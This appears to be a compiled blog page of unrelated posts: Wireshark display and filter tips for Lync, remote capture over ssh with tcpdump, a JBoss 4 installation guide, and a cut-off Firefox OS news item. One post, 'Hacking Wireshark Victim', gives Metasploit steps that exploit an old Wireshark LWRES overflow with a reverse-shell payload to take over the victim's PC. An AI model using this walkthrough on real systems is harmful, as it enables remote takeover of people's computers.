Wireshark Capture Tips

Using tools like Network Monitor and Wireshark are common place when dealing with troubleshooting issues in Lync Server or when simply attempting to better understand some specific behavior.
As Wireshark is more commonly deployed and often already installed on customer’s servers then it can be beneficial to understand a few basic quirks so that one can dive right into looking at the traffic.  These issues range from simply starting the capture driver to modifying and filtering the output.

Customizing the Display

Although Wireshark has a number of benefits over Network Monitor the least beneficial issue with using Wireshark out-of-the-box is that it can be hard to quickly identify traffic due to the default display behavior.  For some reason the network ports are not listed in the default columns like they are in Network Monitor, and Wireshark also incorrectly marks a lot of traffic with bad checksums.

Adding Port Columns

This should be the first change applied to Wireshark after installation and makes it much easier to read through traffic as the source and destination ports can be as important as the host IP addresses.

• Open Preferences from the Edit menu and expand the Columns item.  Using the Add button at the bottom create two new columns and for their field types select either the resolved or unresolved selections for both Src port  and Dest port types.  Also double-click the Title fields to rename the columns.

The (unresolved) entry will simply show the raw port number (e.g. 5061) while the (resolved) entries will show the port information as a descriptive name if it can be resolved as a known defined port (e.g. sip-tls).
Once these changes are saved then the main Wireshark window will display the new columns.

Bad Checksum Errors

When looking at captured traffic often all outbound packets will be highlighted in red/black and the Header Checksum details for each packet are reported as incorrect.  This is typically due to the fact that most modern network interface cards support TCP offloading which means that the checksum data is actually calculated by the NIC and not by computer’s primary processor.   But since Wireshark has to capture the traffic before it leaves the operating system for the NIC then the checksum data for every outbound packet will be null at the time of capture.  The Header Checksum line in the following screenshot indicates this as it reports “0×0000 [incorrect, should be 0x64c7]”.

Now this topic has been covered by many articles since the release of Wireshark and is even discussed in the Wireshark FAQ but in the more recent versions of Wireshark these documented resolutions no longer seem to resolve the display issue. Most of the older blog articles covering this topic instruct the reader to disable the Validate TCP or UDP checksum settings in Wireshark, but current versions of the software already have this option disabled by default. 

• To validate this open Preferences from the Edit menu and then expand the Protocols list.  Look at the settings for both TCP and UDP protocols to see that the “Validate the checksum if possible” settings are both already disabled.

After some digging around an additional step was identified which finally resolved the issue of incorrectly displaying all outbound traffic with checksum errors.

• In the same Preferences window locate the IP settings and then uncheck the Validate the IP checksum if possible setting which is enabled by default.

As soon as this setting is turned off then the displayed color of outbound traffic will immediately change in the captured traffic window, as shown below.  Note that in the highlighted Header Checksum line Wireshark reports that validation is now disabled.

NPF Driver Startup

During the initial Wireshark installation the WinPcap NetGroup Packet Filter (NPF) capture driver wizard prompts the user to select whether or not the NPF driver is started automatically with Windows.  If this option was disabled then when Wireshark is launched the following alert will appear.

There are two ways to resolve this issue: either manually start the driver each time Wireshark is used or configure the driver to start automatically when Windows is booted.

Manual Startup

• For the manual approach open the Windows command prompt with Administrator privileges and enter the command  net start npf to start the driver.

Automatic Startup

• To configure automatic startup open the Windows command prompt with Administrator privileges and enter the command sc qc npf to first identity the current status of the START_TYPE parameter.

• Then from the same command prompt window enter the command sc config npf start= auto to configure the driver to start automatically with Windows.

Be aware that the command above includes an intended space between the equal sign and the auto value which is required by the sc command. If the space is not entered after the = then the command’s help description will instead be output which includes a note explaining that “a space is required between the equal sign and the value.”
Also note that only setting the driver for automatic startup will not actually start the service until Windows is rebooted so if Wireshark is to be used right away then run the manual start command as well.

Filtering Traffic

Filtering traffic in Wireshark falls into one of two main categories: Capture Filters and Display Filters.  When grabbing short intervals of traffic it is easiest to just capture everything (like during a Lync voice call) and then utilize display filters after the capture is stopped to drill-down to the pertinent traffic.
Since there is no ‘show Lync stuff’ filter then how the traffic should be filtered is the first step.  By IP? Or by protocol? Or by port?  Any and all of these can be used depending on what is being looked for in the traffic.
Traffic was captured using Wireshark on a Lync workstation (not from a server) during the following example scenario:

• A Windows Lync 2010 client on the host IP address of 192.168.103.100.
• A Polycom CX3000 Lync Phone Edition device on the host IP address of 192.168.103.104.
• A Lync Standard Edition Front End server located at 192.168.103.23.
• A standard peer-to-peer audio call was placed from the Lync client to the CX3000 and answered within 2 rings.
• After 30 seconds the CX3000 disconnected the call.

Display Filters

Before looking at any individual filtering commands the basic syntax used by the Wireshark filter field needs to be briefly reviewed as it is a bit quirky and may seem a bit foreign to anyone used to Network Monitor.  Comparison Operators are supported in either English or C-Like formats, so either ‘eq’ or ‘==’ can be used to filter for an exact match.  A benefit of the Wireshark filter field is that anytime an invalid string is entered the field will display in red, but if the current string is valid it will display in green.  This helps to immediately show when a mistake or invalid format is used.  The examples below will use eq and == interchangeably.

• To quickly identify where the SIP signaling traffic in a call is routing to set the filter to tcp.port eq 5061 and displayed is only outbound traffic from the local client (.100) to the Lync server (.23) and inbound traffic sent from port 5061 on the Lync server.  Notice that there is no traffic between the two Lync endpoints (.100 and .104) over 5061 as all signaling is handled by the Lync Front End server.

tcp.port eq 5061

• To identify the media traffic flowing between the Lync clients clear the previous filter and then enter ip.addr==192.168.103.104 to locate any traffic between the Lync client (.100) and the CX3000 (.104).  To further filter for traffic by source or destination replace ip.addr with either ip.src or ip.dst.

ip.addr==192.168.103.104

ip.dst==192.168.103.104

Capture Filters

To reduce the size of capture files over long periods of time or to only capture at traffic of a certain type then it can often be a better approach to simply define a capture filter.

• From the Capture > Options menu in Wireshark simply enter the desired filter string as shown below.  The Capture filter button will display the default filters available and the examples there can be used to create a customer string.  In this example the string host 192.168.103.23 was entered so that only traffic to/from the Lync Front end server will be captured.

Read More

Hacking Wireshark Victim using Metaspoilt

The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through 1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer overflow. This bug found and reported by babi. This particular exploit targets the dissect_getaddrsbyname_request function. Several other functions also contain potentially exploitable stack-based buffer overflows. The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents exploitation via the return address on the stack. Sending a larger string allows exploitation using the SEH bypass method. However, this packet will usually get fragmented, which may cause additional complications. NOTE: The vulnerable code is reached only when the packet dissection is rendered. If the packet is fragmented, all fragments must be captured and reassembled to exploit this issue.

Exploit Targets

0 - tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)

1 - wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)

2 - wireshark 1.2.5 on RHEL 5.4 (x64)

3 - wireshark 1.2.5 on Mac OS X 10.5 (x86)

4 - wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/multi/misc/wireshark_lwres_getaddrbyname_loop

Msf exploit (wireshark_lwres_getaddrbyname_loop)>set payload windows/shell_reverse_tcp

Msf exploit (wireshark_lwres_getaddrbyname_loop)>set lhost 192.168.1.2 (IP of Local Host)

Msf exploit (wireshark_lwres_getaddrbyname_loop)>exploit   

Before running the exploit command, let say that the attacker now still collecting data using their Wireshark tool like the picture below.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

Note: This exploit works if victim is using Wireshark at that time.

Read More

Using wireshark with remote capturing

Using wireshark with remote capturing

Wireshark is a very nice network protocol analyzer / sniffer, that is very complete and totally free and open source. It is the standard for examining network packets, used by many professionals and home users. I’ve been using wireshark since the days when it was still called Ethereal, some years ago.
The last few days I was struggling with the following situation:

• I wanted to examine some packets passing through my firewall
• my firewall is a “headless” (this means without a monitor, accessible only via ssh) Slackware server
• it has no X installed (and therefor no window manager etc.) so it won’t run wireshark

Now wireshark can read packets captured by tcpdump and written to a file, so that’s what I did at first:

• capture with tcpdump
• write the packets to a file on a network share
• open the file with wireshark

The problem is that I wanted to examine the packets “on-line”, as they pass through the firewall.
Linux has a solution (inherited from Unix) for this, called “pipes”. These are a special kind of files, where one program writes, while another reads from it, getting the contents in the right order.
In other words: the packet that went into the pipe first, will come out first at the other side of the pipe. Imagine it as a “vitrual tube”.
It was a bit of a struggle to get all the parameters right, but in the end, I got it working like this (note: all commands are entered in a terminal session on the desktop):

1. Create the pipe
niels@desktop:~$ mkfifo /tmp/pipes/cap_fw
“/tmp/pipes/” is where I create my pipes, feel free to use whatever directory you prefer.
“cap_fw” is the name of the pipe I selected.

2. Start tcpdump remotely with ssh from the desktop where you have wireshark installed:
niels@desktop:~$ ssh root@ "tcpdump -s 0 -U -n -w - -i eth1 not port 22" > /tmp/pipes/cap_fw
Replace with the name or ip address of your remote server.
The options I used are:
-s 0 : use the required length to catch whole packets
-U : packet-buffering – write packet to pipe as soon as it is captured (as opposed to waiting for the buffer to fill)
-n : no address-to-name conversion (you can let wireshark do this if you want)
-w - : write output to standard output
-i eth1 : capture from interface eth1 – change to match your setup
not port 22 : leave out any packets from / to port 22. This is needed as we use ssh to connect to out firewall, so that we don’t capture the captured packets again… If you need to examine port 22 on your server, use ssh over an alternative port.
> /tmp/pipes/cap_fw : redirect the output to our pipe.

3. While tcpdump is capturing packets and sending them to the pipe, open another terminal, start wireshark and use the pipe as the input
niels@desktop:~$ wireshark -k -i /tmp/pipes/cap_fw
Here the options mean:
-k : start immediately
-i /tmp/pipes/cap_fw : use our pipe as the “interface”

And you’re up and running!
You can use all the normal functions of wireshark, like filtering, etc., as if you were capturing from a local interface.
By special request from BP{k}, here is a diagram of the setup showing how ssh gets the data from the server, captured by tcpdump and sends it through the pipe to wireshark (with a little help from LeoCAD, l3p and POV-Ray):

I might write a nice bash script to make things simpler now that I figured it all out.
If it is good enough in the end, I’ll publish it here on my blog.

Read More

The JBoss 4 Installation Guide

JBoss AS 4.0.4

---

Table of Contents

About this Guide

1. Installing JBoss

2. Command-line installation

3. Directory Structure

4. The Default Server Configuration File Set

5. Starting and Stopping JBoss

About this Guide

JBoss AS is a J2EE 1.4-certified, open source Java application server. It is the most widely used application server on the market. The highly flexible and easy-to-use server architecture has made JBoss AS the ideal choice for users just starting out with J2EE, as well as senior architects looking for a customizable middleware platform. The ready availability of the source code allows you to debug the server, learn its inner workings and create customized versions for your personal or business use. This guide will show you how to install JBoss AS 4.0. You will learn how to start and stop your JBoss instance, and you will also learn about the directory structure and understand what the key services and configuration files are.

Chapter 1. Installing JBoss

Before installing the server, you need to check your system to make sure you have a suitable Java installation. JBoss 4 requires either a Java 1.4 or Java 5 (sometimes referred to as Java 1.5) JVM (Java Virtual Machine) to run. Java 5 is only required to use the newer simplified EJB3 technologies. The choice of JVMs is yours otherwise, but we do recommend considering the Java 5 JVM where possible to take advantage of the latest JVM performance improvements and monitoring capabilities. No matter what JVM is chosen, you should generally prefer the latest stable versions and keep an eye on future bug fix releases for issues that might affect your installation.

To verify your Java environment execute the java -version command. This will ensure that the java executable is in your path and that you are using the intended Java version. The following output shows a Java 5 (sometimes called Java 1.5) JVM. If you don't see the appropriate version, check your JVM installation instructions.

$ java -version
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_02-56)
Java HotSpot(TM) Client VM (build 1.5.0_02-36, mixed mode, sharing)

JBoss AS is distributed as part of the Red Hat JBoss Media Kit. Recent JBoss releases are also available (both in binary and source form) online from the JBoss AS downloads page, http://labs.jboss.org/portal/jbossas/download/, and as part of the JEMS distribution, available online at http://labs.jboss.com/portal/jemsinstaller/downloads.
JBoss is released in two forms. The first is a ZIP or tgz archive containing a base JBoss installation. We'll talk about the ZIP version, as any system containing a Java installation will have the tools to extract the archive. The gzipped tar file requires a gnutar-compatible tar program that can handle the long pathnames in the archive. The default tar binaries on Solaris and OS X do not currently support the long pathnames.
The standard JBoss 4.0.4 ZIP distribution is named jboss-4.0.4.GA.zip. If service pack releases later become available, they will contain the SP designation, jboss-4.0.4SP1.zip for example. You can use the JDK jar tool (or any other ZIP extraction tool) to extract the archive contents into a directory of your choice. It does not matter where on your system you install JBoss. Note, however, that installing JBoss into a directory that has a name that contains spaces causes problems on some platforms with Sun-based VMs.
The resulting JBoss installation is a raw installation containing the entire set of JBoss AS services in a completely unconfigured state. It is the quickest way to get a runnable JBoss instance, but the latter work to configure the server can be quite intensive. JBoss now provides a GUI installer that can simplify the installation process. In addition to the basic installation, the installer allows you to select the which services are installed, ensuring all service dependencies are met, secure the installation and configure a default datasource. Using a custom JBoss install created by the installer can greatly simplify the installation and configuration of JBoss.
The installer can be run directly from a web browser using Java Web Start or can be downloaded as an executable JAR file. If you choose the Java Web Start option, you only need to click the Run Installer link for the desired JBoss version on the downloads page. The Java Web Start installer is quick and easy. However, options like command-line install will require manually downloading and running the installer executable JAR. On many operating system, you can run executable JARs by double-clicking them. If your system doesn't support that, you can run the installer directly from the command line: (The remainder of this guide will assume the JEMS 1.2.0 installer, available from http://labs.jboss.com/portal/jemsinstaller/downloads)

$ java -jar jems-installer-1.2.0.jar

When you launch the installer, you will be given the option to select the installer language as shown in Figure 1.1, “The installer language selection screen.”. This screen only selects the language that the installer will display choices in and has no effect on the language used by JBoss or the applications deployed in JBoss.

Figure 1.1. The installer language selection screen.

After language selection, the installer will present a series of screens presenting the release notes and asking you to accept the JBoss license. JBoss is completely open source and is released under the GNU LGPL license. The license screen (shown in Figure 1.2, “The license screen”) displays the full text of the LGPL license. More information on why JBoss uses the LGPL license and the advantages the LGPL provides to JBoss users can be found at http://www.jboss.com/company/licensing.

Figure 1.2. The license screen

The installer will ask for the directory to use for the installation. This is shown in Figure 1.3, “Selecting the installation directory”. The installer does not write the installation directory into any of the scripts or into any form of registry, so you will be free to move or rename the JBoss installation directory after installation. On some platforms, installation directories that contains spaces can cause problems, so we recommend sticking to simple directory names.

Figure 1.3. Selecting the installation directory

After that you able to select the starting server configuration set, as shown in Figure 1.4, “Selecting the installation group”.

Figure 1.4. Selecting the installation group

The starting configuration determine which sets of packages are available for installation. The following table describes each of the configuration sets.

Table 1.1. The JBoss AS installer configuration sets

Name	Description	Notes
all	A full J2EE 1.4 server profile with enterprise extensions such as clustering and IIOP.
default	A base J2EE 1.4 server profile.
ejb3	An EJB3 profile supporting the full EJB3 specification with Tomcat	This requires a Java 5 runtime and is not a J2EE 1.4 compatible configuration.
ejb3-clustered	An EJB3 profile supporting the full EJB3 specification with Tomcat and clustering.	This requires a Java 5 runtime and is not a J2EE 1.4 compatible configuration.
jms	A JMS 1.1 server profile	This is not a J2EE 1.4 compatible configuration.
minimal	A minimal JMX microkernel	This is not a J2EE 1.4 compatible configuration.
portal	A JBoss Portal 2.4 profile	This is not a J2EE 1.4 compatible configuration.
tomcat	A Servlet 2.4 container profile	This is not a J2EE 1.4 compatible configuration.

After selecting the configuration set, you have the option to further customize the installation, customizing the set of services installed. Figure 1.5, “Selecting the packages to install” shows the package selection screen. The installer knows the dependencies between services and will not allow you to configure services in an incompatible way. This is much safer than the trial and error approach of configuring services by hand from a raw ZIP install. When choosing configuration sets, be aware that you can not add packages that are not a part of the selected configuration set. If you wanted a simple web container (the tomcat configuration) that also had JMS support (the jms configuration), it would be necessary to go to a larger configuration, such as the default configuration, and remove the unwanted packages. There are some combinations of JEMS components that are not supported directly through the installer.

Figure 1.5. Selecting the packages to install

The following screen (Figure 1.6, “Name the configuration”) allows for the customization of the server configuration name. Unless you need to create multiple configurations, you should use a configuration name of default. Using any other configuration name requires you to start JBoss with the -c option to specify the configuration JBoss should use.

Figure 1.6. Name the configuration

Almost all applications require a datasource to connect to a back-end database. JBoss provides an embedded Hypersonic database along with a default datasource to connect applications to. Being able to run applications out of the box makes JBoss very developer friendly. All projects will eventually need to move to a more capable database, but most will choose to do so at the very beginning of the project. The datasource configuration screen, shown in Figure 1.7, “Configure the default datasource”, gives you the option to use the default hypersonic datasource to configure a replacement datasource.

Figure 1.7. Configure the default datasource

If you want to configure the datasource, choose the configure option and select the database type. You'll then be given the opportunity to enter database connection information as shown in Figure 1.8, “Configure the default datasource”.

Figure 1.8. Configure the default datasource

Note that when installing a datasource this way, you must place the correct JDBC driver JAR file the lib directory of your server configuration. The datasource will not be usable until this is done. See Chapter 3, Directory Structure for more information about JBoss directory structure, including the lib directory.
The next screen allows you to enable applications isolation, completely separating the classloading space of all applications. Application isolation can be helpful in some instances, but it comes with the cost of requiring slow pass-by-value semantics for passing data between applications. In most cases, it is preferable to use loader repositories to control the sharing of classes on an application-by-application basis rather than enabling isolation for the entire server.

Figure 1.9. Configure application isolation

When installed from a raw archive, all JBoss services are left in a developer-friendly state requiring no authentication to access most JBoss services, including administrative services. The installer gives you a chance to secure those services on the security screen, shown in Figure 1.10, “JBoss security settings”. It is recommended that you enable security for all services. You will be required to enter a password for the admin user. We strongly recommend not using the default password, "admin".

Figure 1.10. JBoss security settings

The following screens will ask you to confirm your installation and then show you the installation progress. When your installation is done, the completion screen (Figure 1.11, “The installation is completed”) gives you the option to save an installation script that can be used to recreate your installation configuration. The installation script will be covered in Chapter 2, Command-line installation

Figure 1.11. The installation is completed

Your JBoss installation can be found in the directory that you specified at the beginning of the install. The installer image may contain different services than the archive distribution, depending on the type of installation performed. However, the basic structure and layout of all JBoss instances are the same. The JBoss directory structure will be explained in Chapter 3, Directory Structure.

Chapter 2. Command-line installation

Running the GUI installer requires a graphical display to run. but many servers run in headless mode with no graphical display options. In these cases, the installer can be run on a machine with a display, and the resulting JBoss installation can be copied to the server machine. Another option for installing in these environments is to use the command-line installation capabilities. The JBoss installer can be run from the command-line installing either a base server profile or recreating a previous installation using the installer script created during a previous installation.
When you want to install a specific configuration set, the installer can be run from the command line using the -installGroup and installpath options:

$ java -jar jems-installer-1.2.0.jar -installGroup default installpath=/opt/jboss-4.0.4

The -installGroup parameter is any valid installation group for the installer being used. Different JBoss installers install have different options. The options for the JEMS 1.2 installer are shown in Table 1.1, “The JBoss AS installer configuration sets”. The installpath options specifies the directory you want to install JBoss into. If you do not specify the installpath option, the installer defaults to a directory named jboss-install.
This type of installation provides no ability to specify specific packages or to use the security and datasource configuration options. These options can be set when using an installer script. Script generation requires running the actual GUI interface, but the generated script can be used from the command-line . The last panel of the installer provides the option to save an installer script that preserves all of the selections made in the installer. The installation can be run by passing the installation script as a parameter to the installer.

$ java -jar jems-installer-1.2.0.jar installscript.xml

The installation script is a simple XML file that can be safely edited if further customization is needed. The most likely detail to change would be the installation directory.

Chapter 3. Directory Structure

Installing the JBoss distribution creates a jboss-4.0.4 directory that contains server start scripts, JARs, server configuration sets and working directories. You need to know your way around the distribution layout to locate JARs for compiling code, updating configurations, deploying your code, etc. Figure 3.1, “The JBoss AS directory structure” illustrates the installation directory of the JBoss server.

Figure 3.1. The JBoss AS directory structure

Throughout this book we refer to the top-level jboss-4.0.4 directory as the JBOSS_DIST directory. In Figure 3.1, “The JBoss AS directory structure”, the default server configuration file set is shown expanded. It contains a number of subdirectories: conf, data, deploy, lib, log, and tmp. In a clean installation, only the conf, deploy, and lib directories will exist. Several of the locations may be overridden. For these locations, the org.jboss.system.server.ServerConfig interface constant and its corresponding system property string are shown. The names ending in URL correspond to locations that can be specified using a URL to access remote locations, for example, HTTP URLs against a web server. Table 3.1, “The JBoss top-level directory structure” shows the top-level directories and their function.

Table 3.1. The JBoss top-level directory structure

Directory	Description
bin	All the entry point JARs and start scripts included with the JBoss distribution are located in the bin directory.
client	The JARs that are required for clients that run outside of JBoss are located in the client directory.
server	The JBoss server configuration sets are located under the server directory. The default server configuration set is the server/default set. JBoss ships with minimal, default and all configuration sets. The subdirectories and key configuration files contained default configuration set are discussed in more detail in Chapter 4, The Default Server Configuration File Set
lib	The lib directory contains startup JARs used by JBoss. Do not place your own libraries in this directory.

Table 3.2, “The JBoss server configuration directory structure” shows the directories inside of the server configuration directory and their function.

Table 3.2. The JBoss server configuration directory structure

Directory	Description
conf	The conf directory contains the jboss-service.xml bootstrap descriptor file for a given server configuration. This defines the core services that are fixed for the lifetime of the server.
data	The data directory is available for use by services that want to store content in the file system.
deploy	The deploy directory is the default location the hot deployment service looks to for dynamic deployment content. This may be overridden through the URLDeploymentScanner URLs attribute.
lib	The lib directory is the default location for static Java libraries that should not be hot deployed. All JARs in this directory are loaded into the shared classpath at startup.
log	The log directory is the directory log files are written to. This may be overridden through the conf/log4j.xml configuration file.
tmp	The tmp directory is used by JBoss to store temporarily files such as unpacked deployments.

The contents of the conf and deploy directories will be shown in the following section.

Chapter 4. The Default Server Configuration File Set

The JBOSS_DIST/server directory contains one or more configuration file sets. The default JBoss configuration file set is located in the JBOSS_DIST/server/default directory. JBoss allows you to add more than one configuration set so a server can easily be run using alternate configurations. Creating a new configuration file set typically starts with copying the default file set into a new directory name and then modifying the configuration files as desired. Figure 4.1, “An expanded view of the default server configuration file set conf and deploy directories” below shows the contents of the default configuration file set.

Figure 4.1. An expanded view of the default server configuration file set conf and deploy directories

The files in the conf directory are explained in the following section.

jboss-minimal.xml

This is a minimalist example of the jboss-service.xml configuration file. It is the jboss-service.xml file used in the minimal configuration file set.

jboss-service.xml

jboss-service.xml defines the core services configurations.

jndi.properties

The jndi.properties file specifies the JNDI InitialContext properties that are used within theNS-MYC10 JBoss server when an InitialContext is created using the no-argument constructor.

log4j.xml

This file configures the Apache log4j framework category priorities and appenders used by the JBoss server code.

login-config.xml

This file contains sample server side authentication configurations that are applicable when using JAVAS based security.

props/*

The props directory contains the users and roles property files for the jmx-console.

standardjaws.xml

This file provides the default configuration for the legacy EJB 1.1 CMP engine.

standardjboss.xml

This file provides the default container configurations.

standardjbosscmp-jdbc.xml

This file provides a default configuration file for the JBoss CMP engine.

xmdesc/*-mbean.xml

The xmdesc directory contains XMBean descriptors for several services configured in the jboss-service.xml file.

The following are the files in the deploy directory and their function.

bsh-deployer.xml

This file configures the bean shell deployer, which deploys bean shell scripts as JBoss services.

cache-invalidation-service.xml

This is a service that allows for custom invalidation of the EJB caches via JMS notifications. It is disabled by default.

client-deployer-service.xml

This is a service that provides support for J2EE application clients. It manages the java:comp/env enterprise naming context for client applications based on the application-client.xml descriptor.

ear-deployer.xml

The EAR deployer is the service responsible for deploying J2EE EAR files.

ejb-deployer.xml

The EJB deployer is the service responsible for deploying J2EE EJB JAR files.

hsqldb-ds.xml

hsqldb-ds.xml configures the Hypersonic embedded database service configuration file. It sets up the embedded database and related connection factories.

http-invoker.sar

http-invoker.sar contains the detached invoker that supports RMI over HTTP. It also contains the proxy bindings for accessing JNDI over HTTP.

jboss-aop.deployer,

This service configure the AspectManagerService and deploys JBoss AOP applications.

jboss-bean.deployer

jboss-bean.deployer provides the JBoss microcontainer, which deploys POJO services wrapped in .beans files.

jboss-ha-local-jdbc.rar

jboss-ha-local-jdbc.rar is an experimental version of jboss-local-jdbc.rar that supports datasource failover.

jboss-ha-xa-jdbc.rar

jboss-ha-xa-jdbc.rar is an experimental version of jboss-xa-jdbc.rar that supports datasource failover.

jboss-local-jdbc.rar

jboss-local-jdbc.rar is a JCA resource adaptor that implements the JCA ManagedConnectionFactory interface for JDBC drivers that support the DataSource interface but not JCA.

jboss-xa-jdbc.rar

jboss-xa-jdbc.rar is a JCA resource adaptor that implements the JCA ManagedConnectionFactory interface for JDBC drivers that support the XADataSource interface.

jbossjca-service.sar

jbossjca-service.sar is the application server implementation of the JCA specification. It provides the connection management facilities for integrating resource adaptors into the JBoss server.

jbossweb-tomcat55.sar

The jbossweb-tomcat55.sar directory provides the Tomcat 5.5 servlet engine. The SAR is unpacked rather than deployed as a JAR archive so that the tomcat configuration files can be easily edited.

jbossws14.sar

jbossws14.sar provides J2EE web services support.

jms/hsqldb-jdbc-state-service.xml

hsqldb-jdbc-state-service.xml provides JMS state management using Hypersonic.

jms/hsqldb-jdbc2-service.xml

hsqldb-jdbc2-service.xml configures JMS persistence and caching using Hypersonic. It also contains the DestinationManager MBean, which is the core service for the JMS implementation.

jms/jbossmq-destinations-service.xml

jbossmq-destinations-service.xml configures a number of JMS queues and topics used by the JMS unit tests.

jms/jbossmq-httpil.sar

jbossmq-httpil.sar provides a JMS invocation layer that allows the use of JMS over HTTP.

jms/jbossmq-service.xml

The jbossmq-service.xml file configures the core JBossMQ JMS service.

jms/jms-ds.xml

The jms-ds.xml file configures the JBossMQ JMS provider for use with the jms-ra.rar JCA resource adaptor.

jms/jms-ra.rar

jms-ra.rar is a JCA resource adaptor that implements the JCA ManagedConnectionFactory interface for JMS connection factories.

jms/jvm-il-service.xml

jvm-il-service.xml configures the in-JVM JMS transport invocation layer.

jms/uil2-service.xml

uil2-service.xml configures the JMS version 2 unified invocation layer. Its a fast and reliable custom socket based transport that should be used for messaging between JVMs.

jmx-console.war

The jmx-console.war directory provides the JMX Console. The JMX Console provides a simple web interface for managing the MBean server.

jmx-invoker-service.sar

jmx-invoker-service.sar is an unpacked MBean service archive that exposes a subset of the JMX MBeanServer interface methods as an RMI interface to enable remote access to the JMX core functionality. This is similar to the legacy jmx-rmi-adaptor.sar, with the difference that the transport is handled by the detached invoker architecture.

jsr-88-service.xml

jsr-88-service.xml provides the JSR 88 remote deployment service.

mail-ra.rar

mail-ra.rar is a resource adaptor that provides a JavaMail connector.

mail-service.xml

The mail-service.xml file is an MBean service descriptor that provides JavaMail sessions for use inside the JBoss server.

management/console-mgr.sar

console-mgr.sar provides the Web Console. It is a web application/applet that provide a richer view of the JMX server management data than the JMX console. You may view the console using the URL http://localhost:8080/web-console/.

monitoring-service.xml

The monitoring-service.xml file configures alert monitors like the console listener and email listener used by JMX notifications.

properties-service.xml

The properties-service.xml file is an MBean service descriptor that allows for customization of the JavaBeans PropertyEditors as well as the definition of system properties.

scheduler-service.xml, schedule-manager-service.xml

The scheduler-service.xml and schedule-manager-service.xml files are MBean service descriptors that provide a scheduling type of service.

sqlexception-service.xml

The sqlexception-service.xml file is an MBean service descriptor for the handling of vendor specific SQLExceptions.

uuid-key-generator.sar

The uuid-key-generator.sar service provides a UUID-based key generation facility.

The all configuration contains several addition services.

cluster-service.xml

This service configures clustering communication for most clustered services in JBoss.

deploy-hasingleton-service.xml

This provides the HA singleton service, allowing JBoss to manage services that must be active on only one node of a cluster.

deploy.last/farm-service.xml

farm-service.xml provides the farm service, which allows for cluster-wide deployment and undeployment of services.

httpha-invoker.sar

This service provides HTTP tunneling support for clustered environments.

iiop-service.xml

This provides IIOP invocation support.

juddi-service.sar

This service provides UDDI lookup services.

snmp-adaptor.sar

This is a JMX to SNMP adaptor. It allows for the mapping of JMX notifications onto SNMP traps.

tc5-cluster.sar

Provides AOP support for field-level HTTP session replication.

When installing EJB3 support, several additional EJB3 services are made available.

ejb3-interceptors-aop.xml

This service provides the AOP interceptor stack configurations for EJB3 bean types.

ejb3.deployer

This service deploys EJB3 applications into JBoss.

jboss-aop-jdk50.deployer

This is a Java 5 version of the AOP deployer. The AOP deployer configures the AspectManagerService and deploys JBoss AOP applications.

jbossws.sar

This services provides Java EE 5 web services support.

Finally, in the EJB3 all configuration adds two additional services:

ejb3-clustered-sfsbcache-service.xml

This services provides replication and failover for EJB3 stateful session beans.

ejb3-entity-cache-service.xml

This services provides a clustered cache for EJB3 entity beans.

Chapter 5. Starting and Stopping JBoss

After you have installed the JBoss distribution, it is wise to perform a simple startup test to validate that there are no major problems with your Java VM/operating system combination. To test your installation, move to the bin directory and execute the run.bat or run.sh script, as appropriate for your operating system. Your output should look like the following and contain no error or exception messages:

$ sh run.sh
=========================================================================

  JBoss Bootstrap Environment

  JBOSS_HOME: /tmp/jboss-4.0.4.GA

  JAVA: java

  JAVA_OPTS: -server -Xms128m -Xmx512m -Dsun.rmi.dgc.client.gcInterval=3600000 
             -Dsun.rmi.dgc.server.gcInterval=3600000 -Dprogram.name=run.sh

  CLASSPATH: /tmp/jboss-4.0.4.GA/bin/run.jar:/lib/tools.jar
            
=========================================================================

23:28:48,561 INFO  [Server] Starting JBoss (MX MicroKernel)
...
23:29:09,249 INFO  [Server] JBoss (MX MicroKernel) [4.0.4.GA (build: 
  CVSTag=JBoss_4_0_4_GA date=200605151000)] Started in 20s:679ms

If your output is similar to this (accounting for installation directory differences), you are now be ready to use JBoss.
Using run.sh without any arguments starts the server using the default server configuration file set. To start with an alternate configuration file set, you pass in the name of the directory under JBOSS_DIST/server that you want to use as the value to the -c command line option. For example, to start with the minimal configuration file set you would specify:

$ ./run.sh -c minimal
...
23:37:41,582 INFO  [Server] JBoss (MX MicroKernel) [4.0.4.GA (build: 
  CVSTag=JBoss_4_0_4_GA date=200605151000)] Started in 2s:212ms

The run script supports the following options:

usage: run.sh [options]
  -h, --help                  Show this help message
  -V, --version               Show version information
  --                          Stop processing options
  -D[=]          Set a system property
  -d, --bootdir=         Set the boot patch directory; Must be absolute or url
  -p, --patchdir=        Set the patch directory; Must be absolute or url
  -n, --netboot=         Boot from net with the given url as base
  -c, --configuration=  Set the server configuration name
  -B, --bootlib=    Add an extra library to the front bootclasspath
  -L, --library=    Add an extra library to the loaders classpath
  -C, --classpath=       Add an extra url to the loaders classpath
  -P, --properties=      Load system properties from the given url
  -b, --host=     Bind address for all JBoss services
  -g, --partition=      HA Partition name (default=DefaultDomain)
  -u, --udp=              UDP multicast address
  -l, --log=       Specify the logger plugin type

To shutdown the server, you simply issue a Ctrl-C sequence in the console in which JBoss was started. Alternatively, you can use the shutdown.sh command.

[bin]$ ./shutdown.sh -S

The shutdown script supports the following options:

A JMX client to shutdown (exit or halt) a remote JBoss server.

usage: shutdown [options] 

options:
  -h, --help              Show this help message (default)
  -D[=]      Set a system property
  --                      Stop processing options
  -s, --server=      Specify the JNDI URL of the remote server
  -n, --serverName=  Specify the JMX name of the ServerImpl
  -a, --adapter=    Specify JNDI name of the MBeanServerConnection to use
  -u, --user=       Specify the username for authentication
  -p, --password=   Specify the password for authentication

operations:
  -S, --shutdown          Shutdown the server
  -e, --exit=       Force the VM to exit with a status code
  -H, --halt=       Force the VM to halt with a status code

Use of the shutdown command requires a server configuration that contains jmx-invoker-service.xml service, so the shutdown command cannot be used with the minimal configuration.

Read More

Firefox OS coming to smartphones in 2013

Mozilla Firefox 12

A new operating system for mobile phones akin to the Mozilla Firefox internet browser has got the backing of several major telecom companies, turning up the heat on Google and Apple in the smartphone market. Mozilla said on Monday that mobile network operators Deutsche Telekom, Sprint,

 

Related stories

• Mozilla rolls out Firefox 14
